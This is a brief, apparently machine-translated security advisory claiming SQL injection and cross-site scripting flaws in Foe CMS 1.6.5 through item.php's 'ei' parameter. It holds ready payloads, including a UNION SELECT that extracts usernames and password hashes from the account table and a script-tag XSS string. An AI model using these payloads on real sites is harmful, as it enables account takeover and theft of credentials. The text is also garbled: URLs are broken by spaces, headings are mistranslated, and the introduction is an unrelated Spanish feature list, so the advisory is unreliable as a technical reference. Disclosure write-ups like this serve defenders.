Foe CMS 1.6.5 multiple defects

Title: Foe CMS 1.6.5 SQL Injection Vulnerability

Author: http://foecms.com/

: Http://code.google.com/p/foecms/downloads/list

Versions: 1.6.5

Test Platform: linux and windows

Defect type: SQL Injection | Cross Site Scripting

1) Introduction

2) Bug

3) Proof of concept

4) Credits

1) Introduction

Gestor de categorias (Como phpbb3)

Pasar a php orientado a objetos

Account_meta para firma, ocupacion, avatar, etc (como wordpress) permite añadir y quitar campos a gusto

Permisos segun rangos para TODO

Pagina del UCP para cambiar los permisos de acceso (amigos y eso)

2) Bug

======

SQL Injection

Http: // victim/[path]/item. php? Ei = [SQLi]

Cross Site Scripting

Http: // victim/[path]/item. php? Ei = [XSS]

=====

3) test certificate

Example SQLi

Http://www.2cto.com/[path]/item. php? Ei =-1 union select 1, username, pass_sha, 1, 1, 1, 1, 1 from foe_account --

Example XSS

Http: // victim/[path]/item. php? Ei = <script> alert (1) </script>